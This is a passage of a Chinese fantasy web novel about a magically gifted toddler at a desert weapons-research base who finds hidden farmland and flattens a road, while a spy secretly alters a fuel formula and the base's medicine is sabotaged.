“他们好讨厌!是坏人!”甜甜攥紧了小拳头,小脸上满是气愤。
“是啊,他们不讲道理。”梁哲摸了摸女儿的脸,“所以钱爷爷才拼了命地算。他就是想告诉那些人:我们不怕难,哪怕只有一把算盘,也要造出自己的大炮弹,让谁也不敢再欺负咱们。”
“爸爸,是不是只要坏人不欺负我们,甜甜就能和好多小朋友一起安心吃饭、长大了?”
“不止能安心吃饭,还能好好玩耍、上学,过上好日子。”
“所以啊甜甜,钱爷爷不只是在算数,他是在为所有人的明天打仗呢。这场仗,我们不能输。”
甜甜听懂了,她用力握起小拳头。“爸爸和爷爷叔叔们加油,一定要赢哦!”
说到这里,她拉了拉父亲的袖子,向窗内一指,“可是爷爷还没吃饭饭呢,爷爷饿。”
梁哲被女儿一提醒,才发现煤油灯旁的碗里,放着一只已经凉透的红薯,钱教授只顾着计算,压根没顾得上吃饭。
“爷爷现在忙着,我们不能打扰他,会打断他的思路。”
梁哲虽然心疼,但也知道这时进去提醒他,只会影响他的计算。“等把你送回去,爸爸去给钱爷爷熬汤。”
“爸爸,”甜甜却指着窗户,好奇地问,“爷爷的饭饭,那个红红的、大大的,是什么呀?”
“这叫红薯,吃了肚子就不饿了。”
甜甜若有所思地点点头,忽然说,“我见过它哦,有好多好多,都在躺着睡觉觉。”
梁哲抱着她的手一颤,他转过甜甜小小的身子,语气认真地问:“甜甜,你刚才说什么?再说一遍?”
甜甜被父亲突然严肃的表情弄得有些困惑,但还是乖乖地用手比划着:“就是这个呀,红红的,在地下,一片一片的,睡得可香了……”
梁哲盯着女儿天真无邪的眼睛,又转头看向窗内里的红薯,一个难以置信的念头在他脑海中一闪而过。他二话不说,猛地转身,抱
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着她向白旅长的营房跑去。
十分钟之后。
以班为单位,战士们各拎锹镐,在营地门前紧急集合。
每个人的眼里都闪烁着兴奋的光芒。
白旅长走在最前面,身后跟着宋大壮,最后,是抱着甜甜的梁哲。
基地门前的卡车已经停了一排。
白旅长一挥手:“上车!”
战士们动作利落地上车,最后,白旅长来到甜甜身前,用能想到的最轻柔,最和蔼的声音说,“乖甜甜,带爷爷和叔叔们去找红薯睡觉的地方,好吗?”
甜甜吮着手指,看看父亲,又看看一脸期待的白旅长,眨巴了几下大眼睛,“嗯。”
汽车轰隆隆地在沙漠上疾驰,时间不长,便来到了一座沙丘上。
其实沙漠里每块位置看起来都差不多,没有特殊能力,根本辩认不出方向。
让众人没想到的是,甜甜竟然能毫不费力地指出来,没有半点迟疑。
此刻,她站在沙丘上,明亮的大眼睛瞄住一个位置,就像是指挥三军的小司令官。”只见她纤嫩的小手向前一指,自信满满地喊道,“爸爸,这里有好多红薯在下面睡觉觉,快把它们叫醒吧!”
“好!”梁哲难掩激动,“我们这就叫醒它们,带它们回家。”
白旅长不再犹豫,大手一挥,“全体都有,开挖!”
宋大壮早就等不及了,闻言第一个抡起了工具,其他士兵纷纷加入,现场很快扬起一阵沙田。
甜甜完成了“指路”的任务,似乎耗尽了精神,眼皮开始打架,不一会儿就在爸爸臂弯里睡着了。
一名战士正挖地兴起,冷不防,一只覆满厚实鳞片的大脚爪猛地探出,差点抓住他的脚踝!
“啊!”
他吓得一个激凌,扔下铁锹转身就跑。
“有情况!”其余战士急速后退,反应最快的宋大壮立刻摘下背着的**,咔嗒一声**上膛,枪口对准眼前的沙土坑。
第7章 不好!粮仓现世,敌特现身!绝密档案遭篡改
只见沙土往四面一翻,一只硕大的,状似鳄鱼的脑袋钻了出来,浑身覆盖着角质鳞片,豆大的黄色眼睛冷冷地盯着众人。
紧接着第二只、第三只……足足五六只体型庞大的沙漠巨蜥,相继从沙坑里爬出,对着人群吐着长舌头,发出威胁的嘶嘶声。
现场的众人都被这恐怖的一幕震慑到了。
“坏了!这哪是红薯地,这是掏了蜥蜴老窝了!”有人失声惊呼。
战士们都如临大敌,纷纷举起枪口瞄准。
梁哲的心也瞬间沉到谷底,他万万没想到会出现这种意外。甜甜的能力出错了?把战士们引到了危险动物的巢穴?
他想叫醒女儿问个清楚,可怀里的甜甜睡得正熟,小脸在月光下显得宁静而无辜,夜间沙漠的低温还让她不自觉地往父亲怀里缩了缩。
“旅长,怎么办?”梁哲焦急地看向白旅长。
白旅长脸色发青,但声音依然镇定:“不准开枪!**可能激怒它们。用工具,制造声响,把它们赶走!”
战士们得令,立刻用铁锹用力敲击地面,乍着胆子呼喝着驱赶。这群沙漠巨蜥显然也没见过这么多的人,双方对峙了片刻,最终,巨蜥在人群呼喝的声势下,慢吞吞地调转方向,消失在沙漠深处的黑暗中。
众人这才长长松了口气。
“妈呀,可吓死我了。”宋大壮背上已经冒出了冷汗。
“**……咱,咱还挖吗?”问话的班长还心有余悸。
白旅长也拿不定主意了,看向梁哲。
“要是再挖出啥毒蛇蝎子可咋整?”战士们小声议论。
“你可别说了,别好的不灵坏的灵。”
梁哲看着怀中熟睡的女儿,实在不忍心叫醒她。他咬咬牙:“旅长,这次可能是甜甜看错了。要不咱们先回去,等明天孩子醒了再说?
“行,都说了,咱们允许试错。”白旅长看着甜甜疲惫的睡颜,也不忍心苛责,“收队,回……”
“营”字还没说完,怀里的甜甜忽然用小手揉了揉眼睛,迷迷糊糊地喊了声:“爸爸……”
梁哲大喜:“甜甜,你醒了?快帮爸爸再看看,这沙子下面到底有没有红薯?”
甜甜似乎还没完全清醒,顺着父亲指的方向,眼神里懵懵懂懂。
月光洒在乱糟糟的沙地上,甜甜看了几秒钟,声音软软地说:“有呀,爸爸。就在这里,可多可多了。”
“你确定吗甜甜?是钱爷爷房间里那种能吃的红薯?”梁哲将信将疑,想到刚才出现的巨蜥,不禁有点担心。“不会是别的东西吧?”
“就是红薯呀,”甜甜很肯定地点头,“爸爸说过的,吃了就能不饿饿。”
白旅长与梁哲对视一眼,两人都深吸了一口气。
“一班、二班,”白旅长下了决心,“你们接着挖!三班、四班负责外围警戒,发现任何异常动物,立刻鸣枪示警,必要时允许开枪自卫!”
“是。”
“让我来!”
宋大壮领着两个班的战士,拎着工具上前,小心谨慎地挖了起来。
最开始的几锹,还是普通的黄沙,随着沙坑越挖越深,渐渐地,锹面上开始出现了黑色的土壤,再挖几下,忽然“噗哧”一声,有什么被铁锹铲动,战士提起来一看,惊叫道:“藤!是红薯藤!”
众人精神一振,更多的铁锹加入进来,不多时,沙土被清理出来,一个令人难以置信的景象,在手电筒的照射下,出现在众人面前。
在距离地面一米多的地方,是一片沃黑的土地,上面密密麻麻长满了红薯藤,数不清的红薯挂在藤上,随着夜风一吹,微微摇晃。
整个挖掘现场,瞬间鸦雀无声。
所有人都停下了动作,战士们你看看我,我看看你,有人狠狠掐了自己胳膊一下,怀疑是不是在沙漠里做了一场梦。
刚才那些巨蜥能出现在这里,不会是将这片土地当成理想巢穴了吧?
白旅长走上前,用手轻轻拂开泥土,捧起一个沉甸甸的红薯,上面还沾着泥土特有的芬芳。
他抬起头,望向一旁被梁哲抱着的甜甜,小女孩打了个呵欠,白嫩的小
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手困倦地揉着眼睛。
“同志们,”他又把目光收回,看向每一个难掩激动的面孔,用一种尽量平静,实际欢欣鼓舞的声音宣布:
“咱们全基地的口粮……”
“解!决!了!”
基地研究所内,钱教授拿着最新计算的弹道轨迹数据,正在向刘司令和几位专家进行方案说明,刘司令坐在一边,不时端起搪瓷缸子抿上一口,嘴里充满了清洌的甜味。
就在这时,警务兵进来汇报,梁甜甜小同志发现了红薯地。
刘司令的手一顿,好悬没把缸子里的水溅出来。
“钱老,你说这个女娃子……”他又是惊愕又是想笑,“是不是太神了?”
钱教授合上本子,“从科学上讲,这不符合逻辑。但是,”他笑呵呵地道,“司令,咱们搞科学的,最重要的是尊重事实,不是吗?”
“哈哈哈,好一个尊重事实!”刘司令起身披上军大衣。“走,一块瞧瞧去。”
就在所有人的注意力都集中在发现土地的喜悦时——
基地文档室。
门锁悄无声息落地,一抹身影迅速闪入,快得像是一道暗夜幽灵。
他小心避过一排排文件架,目光精准锁定墙角的保险柜。
他蹲下身,从怀里掏出听诊器,贴在保险柜的密码锁上,指尖小心地转动锁盘,耐心倾听着机簧勾连发出细小声音。
一分钟、两分钟……五分钟……
“咔嗒”一声轻响,微弱的如同错觉,却让来人的脸上瞬间露出狂喜的表情。
保险柜门被打开,一份标注着“绝密”二字的燃料配方单,正静静地躺在其中。
来人迅速从怀中掏出钢笔,一目十行地掠过报告,最终,在“氧化剂与燃料混合比:2.05”的数字旁,轻轻勾抹了一笔。
一个完全分辩不出被修正过的“2.08”,替代了原有的数字。
做完这一切,他又仔细核对无误后,将一切迅速复位。关上保险柜并打乱了密码盘。
随后,整个身影消失在了文档室内。
第8章 抢地风波!领导急眼!小福星成终极裁判
刚进会议室,就看见两边人马吵得面红耳赤,好几个高级领导甚至撸起袖子,说得唾沫横飞。
后勤部部长赵有田,炊事兵出身,一路干到部级干部,每天操心全基地的口粮,愁得头发都快薅光了,现在好不容易得了一块田,不亚于天上掉下个大粮仓。
“这有什么好争论的?虽然眼下是实现了红薯丰收,但基地这么多张嘴吃饭,要是不赶紧把藤种下去,不出半个月大伙又要饿肚子。”
化工组李工李主任,留洋博士,认为一切工作都要为科研让路。
“不不不赵处长,我理解你对粮食的担心,但这个问题可以通过其他方式缓解,好不容易有了这块地,如果能种上长绒棉、蓖麻,再种上马铃薯提取工业淀粉,那就能解决很多工业上的原料,缩短咱们的科研周期!”
“李工,您开什么玩笑,马铃薯还可以,长绒棉和蓖麻是个什么玩意,能吃吗?”后勤部副部长王新军听不下去了,“五十亩好地,不能光想着实验,不管肚子啊!”
“老王,长绒棉经过化学处理,可以制造硝化纤维,蓖麻油是航空润滑油和生物柴油的原料,这些以往都依赖进口,如果咱们能实现自产,那意义可太重大了!”
“那也得先吃饭,等粮食丰收了,再拨块地给你们用。”
“我看你这是小农思想,一门心思就光想着吃。”系统研发室的黄伟志主任坐不住了,“咱们在这干嘛来了?不是为了搞技术生产吗?发现资源不优先考虑研发,怎么能先顾着吃?”
赵有田拍桌子:“不吃不喝你研究个啥?”
黄伟志撸袖子:“你研究不出成果,拿啥和全国人民交代?”
“停停停停!”刘司令及时伸出双手弹压,他再不介入,双方就要跳上桌子开掐了。
“都坐下,喝口水!多大岁数的人了,硬是和毛头小子似的吵架?”
两派人马这才气呼呼地坐下。
“老赵啊,饿怕了是吧?”刘司令走过去,拍拍赵有田肩头。
“李工,你放心,基地的宗旨永远是‘全心全意搞研发’,这是铁打的方针,谁也不能动摇。”
两方被说的气氛都缓和了些。
“钱老,您有么子好建议?”
钱教授这才找到机会开口,方才大伙吵得太激烈了,他压根喊不过他们。
“同志们,我觉得你们说得都对,解决口粮和推进科研,根本就不矛盾嘛,完全可以一起进行。比如先划出三十亩地,种上高产和周期短的农作物,再加上新鲜蔬菜,先保障基本生活。再划出二十亩给李工,你们需要什么实验作物,尽管种,只要不影响粮食生产计划就行。”
李工紧绷的脸色缓和了下来,“行,种子和技术指导,我联系农科院的老同学解决!”
“哎,这就是涉及到一个问题。”王总设计师急忙道,“司令,看来咱们不能光请水利和地质专家了。有了这块宝地,还得配一位农业专家坐镇,要不然咱们这群门外汉,万一糟蹋了土地,那才是真浪费。”
“报告!”白旅长忽然举了下手,“各位老总、**,大伙讨论了半天,是不是漏了最关键的一环?”
众人的目光齐刷刷看向他。
“这块地是梁甜甜小同志发现的,如果,我是说如果啊,甜甜知道这块地种什么能长得又快又好,是不是也可以听听她的意见?”
这话一出,两边的领导们都愣住了,他们光顾着从自己的职责和视角出发,完全忽略了最大的功臣。
“别别,旅长,”梁哲怕大家争吵影响孩子,早把甜甜交给轮值的阿姨了。现在听大伙一提,连忙站起身敬了个礼,“甜甜还是个小孩子,对农作物和土地生产一窍不通,问她根本没有用。”
“你说没用就没用?”白旅长瞪他一眼,“你忘了那水和鱼是怎么发现的?没有我们甜甜,就是把全基地的人凑一块,也找不出这么块风水宝地。”
“没错,我支持旅长!”宋大壮也站了起来,对于甜甜的能力他可太有发言权了。“我也建议要先问问甜甜的意思,沙漠里条件恶劣,农作物生长周期短,万一种下去的种子没有好收成,岂不是白忙活一场。”
赵有田也动摇了,“说得对,甜甜可比农业专家看得准多了。”
“万一……要是甜甜说,这土地种不了实验作物,那可咋办?”李工开始担心
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钱教授笑了笑,“李工,别担心,我们先让甜甜看看,根据土地性能来决定种什么,这叫‘因地制宜’,说不定还能有大惊喜。”
“要是孩子真说不适合种实验作物,老李啊,你就当咱基地没这块地,缺么子材料,我打报告向上级申请,一定给你们科研组配齐!要得不?”刘司令急忙出言安抚。
李工和黄伟志对视一眼,也说不出什么反对意见,毕竟没有甜甜,就没有这块地。这会儿让孩子参与决定,实在合情合理。
“可是**,甜甜连字都认不全,农作物也压根没见过,这怎么选啊?”梁哲后悔了,他应该早点给甜甜找个启蒙托儿所,好歹让孩子多认识些物品。
这话把大家都问住了,是啊,一个三岁小女娃,你让她分清马铃薯和红薯,韭菜还是麦苗,实在有点强人所难。
“报告。”一直默默续水的勤务兵,看着**们为难,在旁边小声道,“**,我有个办法。”
“哦?你讲讲。”
“我媳妇以前在家教孩子认字,都是拿画的纸片,孩子记住画了,再看字,慢慢就认识了。”
“啊,好主意!”钱老恍然大悟,“还是群众最有智慧,这么简单实用的方法,咱们这些脑子被公式框住的人啊,居然一个都没想出来了。”
问题迎刃而解,赵有田自告奋勇:“我现在就去……不,明天一早就去找人,把我们能想到的农作物全画在卡片上,让甜甜选。”
“宣传队的曹干事画画是把好手,就找他。”
“老黄啊,”李工赶紧拉住黄伟志的手,“咱们不能落下,你快去找曹干事,把咱们要的列个单子,让他一起画出来。”
刘司令终于哈哈大笑,指着一旁看呆了的梁哲,打趣道:“小梁,你瞧见没,这里所有的人加起来,都没你闺女一个**威。”
白旅长也笑着附和:“您说得对,梁甜甜可是咱们基地的小福星,**,您可一定要给她再记一功啊!”
“记什么一功!”刘司令大手一挥,豪气干云,“她帮咱们选好了地,老子给她记两功!不,直接给她爹申请个三等功!让他沾沾小福星的光!”
第9章 高能!甜宝一指宝乾坤
第二天。
清晨的阳光从地平线升起,将无垠的黄沙梁出一层橘红色。基地的人们早已忙碌起来,先前的疲惫和菜色早已一扫而空,取而代之的,是蓬勃的生机和高涨的热情。
土地,是这个民族赖以生存的根基,深植于每个人的血脉和基因里,在贫瘠的荒漠中收获一方沃野,不仅意味着实现基本生活的自给自足,更让所有人触摸到了希望与收获,有了砥砺前行的原动力。
梁哲的营房里,甜甜乖巧地坐在小板凳上,张阿姨正在给她梳小辫子,李大嘴已经把做好的鱼肉羹端了过来,梁哲则在一旁冲奶粉。
面前的桌子上摆了数十张卡片,曹干事听说找到了土地,激动得半宿没睡,连夜赶工画出来的。
甜甜小手摆弄着这些卡片,时尔举起来对着阳光端详,时尔对折成小方块,小脸上洋溢着纯真欢快的笑容。
“爸爸,这个是什么呀?”甜甜举着一张卡片问。
“这是白菜,甜甜,你能记住吗?”
“能呀,甜甜可聪明啦。”小女孩扬着粉嫩的小脸蛋,自信满满。
“没错,我们甜甜最聪明,又乖又可爱。”张阿姨喜爱地亲了亲她,逗得甜甜咯咯直笑。
“那这个又是什么呀?”甜甜又拿起一张。
“这个是南瓜。”
梁哲冲完奶粉,坐在女儿身边,耐心地给她讲解每一张卡片。
甜甜一边吃着鱼肉羹,一边好奇地左摸摸右翻翻,“爸爸,这些卡片真好玩,甜甜还要玩。”
“这些都是叔叔们给你做的,甜甜要好好记住它们的样子,待会儿我们还要用它们来玩游戏呢。”
“真的吗?可以玩游戏!甜甜最喜欢玩游戏了!”
甜甜兴高采烈地挥着两只小手,天真烂漫的样子引得屋里的大人们都笑了起来。
吃过早饭,准备停当,梁哲抱着甜甜走出营房,军用吉普车已在大门外等候,几位领导簇拥着这对父女,人人紧张又期待。
“甜甜,爷爷们带你去做游戏,好不好呀?”钱教授弯下腰,语气和蔼。
“好呀!”甜甜兴奋地拍着小手。
宋大壮抱着精心绘制的卡片,黄伟志主任还不放心,又转身回营房里找了一圈,确认没有落下一张才安心。
众人一同前往昨天发现的土地,之前只听白旅长等人描述,未曾亲见,此刻望着脚下的沃野,嗅着黝黑肥沃土壤散发出的湿润气息,几位年过半百的老领导激动得热泪盈眶。
“有了这片地,何愁完不成咱们的科研任务!我们有信心攻克所有的技术难题!”
梁哲将卡片摊在地上,向甜甜柔声道:“甜甜乖,你看看这些卡片,哪个适合种到地里,告诉爸爸好不好?”
“爸爸,什么叫种啊?”甜甜仰起小脸,清澈的大眼睛充满疑惑。
“就是呀,我们让卡片里的小种子睡进土里,给它们浇水、晒太阳,它们就会从地里钻出来,长得高高大大的。”
“哦。”甜甜似懂非懂,小手摆弄着卡片。
后勤部、研发室、化工组以及各部门的领导,无一不是顶尖的人才,此刻所有人的目光都落在甜甜的小手上,仿佛能决定这片土地未来的生机与希望。
“甜甜,你要好好看,看哪个最喜欢睡在土里,帮爷爷把它们找出来。”
李工惦记着他的实验作物,忍不住出言提醒。
“哎,李工,不许犯规啊。”赵有田佯装生气地瞪了他一眼。
甜甜就在玩一个有趣的游戏,一边拿着卡片把玩,不时低头瞅瞅脚下的土地,梁哲担心她不明白要做什么,连忙又向她解释:“要不,爸爸抱甜甜去地里走一走,你想到什么就告诉爸爸?”
“好呀。”甜甜乖巧地说。
梁哲抱着孩子走在前边,身后跟着神情专注的各位专家大佬,宋大壮捧着一沓卡片,众人在土地里穿行。
忽然,甜甜伸手指着前面一处,用清脆稚嫩的童音喊道,“爸爸,南瓜,南瓜!”
众人脚步齐齐停住,赵有田手忙脚乱地道:“快快快,把南瓜卡片找出来,给甜甜看看。”
宋大壮迅速翻卡片,梁哲蹲下身子,柔声道:“宝贝,你说这里适合让南瓜‘睡进来’吗?”
“嗯,爸爸说的,在里面睡,然后变大大。”甜甜用小手比画着。
王总设计师立刻拍板,“南瓜!划出来,这块地种南瓜!”
立刻有战士上前,插上一面标识用的小旗。
甜甜又指着另一处,奶声奶气地道:“白,白白的,菜菜,睡那里。”
“好好!”赵有田心花怒放,“听见了吗?那块种白菜。”
“胡
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胡,长长的,红的,爸爸……”
“胡萝卜!是胡萝卜!有有有!”
“红薯,钱爷爷吃的红薯。”
“好嘞!这块归红薯。”
“米……爸爸,甜甜忘记了。”
“米?是不是小米?太好了,连小米都能种。”
随着标注的小旗越来越多,赵有田和王新民乐得合不拢嘴,恨不得把这小祖宗供起来。
一边的李工和黄主任脸都灰了。
“甜甜,就没有,没有点别的吗?”黄伟志眼巴巴地看着她,从来没感觉自己这么“可怜”。
“嗯……”甜甜咬着手指,大眼睛盯着宋大壮手里的卡片。
李工感觉自己的心都提到了嗓子眼。
好歹给他匀个一亩三分地啊!
忽然,甜甜用手一指卡片,“爷爷,这个,甜甜不认识,油油能让车车跑。”
李工狠狠一拍大腿,激动得差点跳起来:“蓖麻!我就说能种蓖麻!甜甜你真神了!”
“白白的……轰隆隆大机器。”甜甜又拿起一张卡片。
“长绒棉,真是长绒棉!”黄伟志老泪纵横,“甜甜啊,爷爷要谢谢你。”
“这个菜菜,甜,爸爸,我也叫甜甜,它也叫甜甜。”
“这是甜菜,是发酵丙酮、丁醇的重要原料,不,这不重要,快把甜菜给我放这!”李工迫不及待地喊道。
最后,甜甜指着一张画着褐色根茎的卡片,小脸皱起,声音渐渐委屈,“爸爸……妈妈痛,咳咳。药药,这个是药药。”
梁哲心头一酸。妻子病重时,就是因为基础的药物都短缺,才没能挽救她的生命,要是当时,哪怕只有一点草药……
眼眶一湿,他不由自主地将女儿抱得更紧了。
“对,这是甘草,是好药。我们让它也睡在这里,好不好?”
“嗯!”甜甜搂紧了爸爸的脖子,用小手轻轻擦掉了爸爸流出的眼泪。
专家们很快根据甜甜的标记进行了研讨,最终,所有人得出结论——甜甜指出的每一个位置,都完美地契合了农作特的生长特征,完全可以按她规划的来种植!
宽厚的大掌拍了拍甜甜的小身子,刘司令把甜甜接在怀中,望着脚下孕育着希望的土壤,高高举起了她的小手。
“同志们,按咱们小福星‘画’的图,开工!”
第10章 快让开!小福星一指,黄沙秒变水泥路!
在专家团的精准规划下,循环冷却系统的核心管道顺利铺设完成,**地面试车的冷却难题被一举攻克了。
同时,水力发电项目也推进顺利,随着第一台水轮机投入运转,营房接二连三亮起了电灯,过往为了省电,不得不用柴油机和煤油灯照亮的日子,终于一去不复返。
基地上下对此一片欢腾,每个人都觉得胜利的曙光越来越近。
就在这片鼓舞人心的背后,一片不祥的阴云悄悄笼罩在基地上空——
钱教授在连续数日演算关键数据后,忽然体力不支,晕倒在了工作台旁。
这件事对于基地来说不啻于一道晴天霹雳,钱教授是整个**研发系统的“大脑”,有最核心、最顶尖的关键数据,几乎都由他牵头设计演算,在这么关键的时候突然病倒,不论是对实验上马还是对**研发进程,都是难以估量的损失。
卫生所孙军医经过初步检查,面色沉重,“司令,钱老这症状,大概率是长期维生素缺乏引发的!咱们这里长期缺新鲜蔬果,不止钱老,其他科研人员的身体也都亏空得厉害,再这么下去,迟早还要出问题!”
这是所有基地人员心知肚明的隐患,大家本以为有了鱼和粮食,营养问题能逐渐缓解,却忘了之前的亏空早已掏空了身体底子,根本不是短时间能补回来的。而地里的农作物刚播种,远水解不了近渴。
刘司令当场拍板:“备车,马上送钱老去镇上医院,咱们这里条件不行,这病万万耽误不得。”
“司令,维生素类药品全国紧缺,镇上医院有库存吗?”王总设计师问。
“我已经联系过了,镇医院还有两支维生素C注射剂,可以先应急。至于其他的,我再想办法从市里调拨。”
“但这不能解决根本问题,”孙军医神情焦虑,“最好的办法是保证基地能正常供应蔬菜和水果,否则后面还会出乱子。”
“孙延军同志,你说得倒轻巧,咱们连地里的种子都是东拼西凑的,水果?你让我上哪给你变去?”负责后勤的赵有田部门烦躁的直搓太阳穴。
“都莫得争了!先送钱老去镇上,水果的事回头再说,实在不行,老子亲自给京城挂电话,就不信搞不来!”刘司令大手一挥,下令由梁哲、宋大壮带领几名战士,全权负责此次护送任务。
十分钟之后,钱老刚被简易单架抬上车,一个小小的身影突然从营房冲了出来。
“爸爸,等等我!”
“甜甜乖,爸爸要送钱爷爷去医院,你在基地跟阿姨们玩。”梁哲蹲下身,轻轻拍了拍女儿的小脑袋,准备上车。
“我不嘛!”甜甜一把抱住父亲的腿,小脑袋摇得像拨浪鼓,“甜甜也要去!甜甜要照顾钱爷爷!”
“医院里细菌多,小孩子去了容易生病。”梁哲柔声哄道。
“甜甜不怕!甜甜身体好!”小女孩倔强地仰起脸,表情固执。
梁哲犯了难。自家丫头一片好心,可这是严肃的执行任务,不是出门游玩。没有上级批准,他绝不能擅自带孩子同行。正想再好好劝劝,一旁送行的白旅长却摆了摆手:“小梁,把孩子带上吧。甜甜的本事咱们都清楚,说不定这回还能有意外之喜。”
说着,白旅长从口袋里掏出几张纸币和一沓粮票塞进梁哲手里:“到了镇上,得空去供销社转转。孩子来基地这么久,也没吃上什么像样的东西,喜欢什么就买,别省着。”
“旅长,这不行……”梁哲正要推辞。
“拿着!”旁边几位专家也纷纷掏出钱和粮票递过来,“一来给老钱补补身子,二来给小甜甜买些营养品。别到了镇上,让人看轻了咱们基地的人。”
梁哲眼眶微微泛红,看了看脚边的小女儿,含泪接过钱和粮票,向众人敬了一个标准的军礼:“是!”
他心里已经打定主意,这笔钱绝不能乱花,除了给钱老买药,一定要给基地那些日夜操劳的专家们都带点吃的回
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去。
汽车缓缓发动,朝着镇上驶去。基地位于沙漠腹地,开到镇上至少需要一个小时的时间。加上沿途根本没有一条像样的公路,多半是一半黄沙、一半残破水泥的混合路段,颠簸是常事。对于驾驶员是极大的考验,必须全神贯注避开流沙路段,防止车辆陷进去。
钱教授双目紧闭靠在后座,脸色苍白,神情虚弱。孙军医紧紧挨着他,不时轻声叮嘱驾驶员小王:“小王,慢点开,尽量稳一些,别颠着钱老。”
“孙医生,咱这路面就这条件,想开稳了也难啊。”小王全神贯注握着方向盘。
甜甜坐在梁哲怀里,小小的身子随着车辆的颠簸不断被抛起又落下。她眨巴着圆溜溜的大眼睛,忽然问,“叔叔,是不是路平了,钱爷爷就不会不舒服了呀?”
小王正专注于路况,随口应道:“那可不咋地!可惜啊,咱们这儿就没这么好的路。”
话音未落,神奇的一幕发生了,原本松软下陷的沙地,竟在车轮碾过的瞬间变得坚实起来,仿佛铺了一层看不见的水泥。车身猛地一稳,那种令人牙酸的颠簸感瞬间消失。
“咦?”小王惊疑不定地从后视镜里看去,这条走了无数次的烂路,此刻竟变得平整异常。
不仅是他,连后座的孙军医都察觉到了异样,惊讶地发现钱教授原本因颠簸而苍白的脸色,竟明显缓和了许多。
“甜甜,这是怎么回事?路怎么突然平了?”小王透过后视镜,满脸不可思议!
“甜甜没做什么呀。”小姑娘软软地靠在爸爸怀里,眼神清澈,一脸无辜。谁也没想到,就凭她一句天真的问话,竟真的让松软的黄沙变成了堪比水泥路的坚实路面。
“梁团,您家甜甜可真是咱们的小福星啊!”小王喜不自胜,若是以后去镇上都能有这样的路,那该多好!
有了平坦的路面支撑,小王将车开得飞快,只用不到平时一半的时间,便抵达了镇上的医院。
第11章 救命的药碎了!甜崽:爸,老鼠是背锅的
车子在医院门口刚停稳,几位穿着白大褂的医生和院长已经迎了出来。他们显然已经接到通知,对钱教授的情况非常重视。
“钱教授的情况我们都清楚,快,先把人抬到急诊观察室!”院长是个头发花白的老者,和孙军医几人握了手,便指挥医护人员接过担架,将钱教授推进了医院。
孙军医边走边向院长和主治医生介绍情况:“……初步判断是长期严重维生素C缺乏引起的坏血病症状,伴有虚弱和晕厥。我们在基地条件有限,只能做应急处理。”
院长点点头,对身旁一位戴眼镜的年轻医生说:“李医生,立即给病人做全面检查,重点查血常规和维生素水平。小张,去药房取我特批留下的那两支维生素C注射剂。”
“是!”李医生和小张护士应声而去。
急诊室里,医护人员对血压、心率、基础体征监测等指标迅速开始检查。梁哲、宋大壮和几名战士守在外面,神情凝重。甜甜牵着爸爸的手,大眼睛透过门缝,担忧地望着里面忙碌的白衣身影。
不多时,李医生拿着化验单走了出来,“**们,钱教授的情况比预想的严重。体内维生素C水平比正常指标低近70%,电解质也严重紊乱。必须立即静脉注射维生素C,否则可能出现器官出血、心力衰竭等并发症。”
“药呢?取来了吗?”院长立刻问。
这时,小张护士气喘吁吁地跑回来,双手空空,脸色煞白如纸。
“院、院长……药……药出事了!”
“什么?!”
众人脸色骤变!
“我去药房取药,周师傅打开冷藏柜一看,两支药瓶全摔碎了!旁边……旁边还躺了只死老鼠!”小张指向药房方向,“周师傅人已经懵了,还在那儿发愣呢。”
院长二话不说,拔腿就冲了出去。梁哲抱起甜甜紧随其后,孙军医与战士们也急忙跟上。
药房门口已聚了几名闻讯赶来的医护人员。五十多岁的保管员周师傅蹲在地上,直勾勾地盯着那一地狼藉——
碎玻璃碴混着暗黄的药液,一只灰**老鼠僵直地躺在中间。
“老周!你怎么搞的!”院长一见这场景,顿时火冒三丈,“这药是救命用的!强调过多少遍必须万无一失!你怎么能犯这种低级错误!”
“院长,这不对啊!”周师傅抬起头,眼圈通红,“药瓶我一直放在冷藏柜上层,钥匙从来没离过我的手,老鼠怎么可能钻到柜子里去?而且,您看这老鼠,”他指着那僵硬的尸体,百思不得其解,“这模样……也不像刚死的。”
“现在说这些有什么用!”孙军医急得直跺脚,“药没了,钱教授怎么办?医院里还能不能再找出维生素药剂?
“没有了……”院长也没想到会发生这种情况,脸色发青,“这是咱们最后两支注射剂了!这药全国都紧缺,就算立刻往市里、省里调,最快也得一两天才能到,钱教授的情况……根本等不起啊!”
“那怎么办?!”宋大壮一听这话,怒火瞬间直冲头顶,几步就冲到老周面前,一把揪住周师傅的衣领:“你知道这药有多重要吗?!钱老要是出了事,你担得起吗?!”
“大壮!”
眼看这一拳就要砸下去,梁哲厉声喝止。
老周吓得猛地闭上了眼睛,周围的护士们想劝架又不敢,一个个缩在一旁,院长更是急得在原地团团转。“这位同志,息怒,息怒啊!我们再想想办法……”
宋大壮的拳头停在半空,双眼赤红,怒火几乎要从眼里喷出来:“你们还有什么办法?要是害了钱老,你们所有人都赔不起!”
“是,我们知道,都知道!”院长的声音带着哀求,他当然知道钱教授的分量——这是举倾国之力托举的项目,若是因为医院的疏漏出了差错,他们根本没法向全国人民交代。“我们也没想到
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会出这种事啊!”
梁哲走上前,强行将宋大壮的手按了下去,“你冷静点,暴力解决不了任何问题。”
“梁团,我冷静不了!”宋大壮虎目含泪,“钱老他还躺在那,要是没了这救命的药……”
原本蹲在地上的周师傅听到这话,把心一横,猛地起身,竟一头向旁边的柜角撞去:“是我害了老教授,我给他赔命!”
“住手——!!!”
梁哲眼疾手快,松开甜甜一个箭步冲上去,一把将周师傅死死抱住。“周师傅,别!”
“哎呀老周啊,你可不能做傻事!”院长也惊呆了,他万万没想到事情会闹到这步田地,一个国宝级的老教授还没救成,要是再搭上一条人命,这让他以后如何交代。
周师傅老泪纵横,挣扎着想要挣脱梁哲的束缚:“院长,我也是有党性的人……出这么大纰漏,我难辞其咎!您就处分我吧!”
“唉,老周啊,你也是老同志了,工作这么多年勤勤恳恳,我还能不知道你的为人?”院长重重地叹了口气,垂头道,“这事发生在我院,我作为领导,负有管理责任,我愿接受一切处理。”
“处理你又什么用!你能换回钱老吗!”
宋大壮依旧忿忿不平,他不是非要揪着周师傅和院长不放,可钱教授的安危压在心头,让他根本冷静不下来。没人比他们更清楚,钱老对于基地、对于国家意味着什么。
“大壮!”梁哲拍拍他肩头,“少说两句。当务之急,是赶紧想办法救钱老。”
“还能有什么办法!”宋大壮气得蹲在地上,痛苦地抱住了头。几名年轻战士也忍不住抹起眼泪。
整个药房愁云惨雾,绝望如大山般压在每个人的心头。
就在这时,梁哲的衣角被轻轻拉动。他低头,见甜甜仰着小脸,一双水汪汪的大眼睛望着他,声音稚嫩地说:“爸爸,药药不是这只鼠鼠弄坏的。”
第12章 绝了!药房迷局未解,甜宝一句话锁定嫌疑人
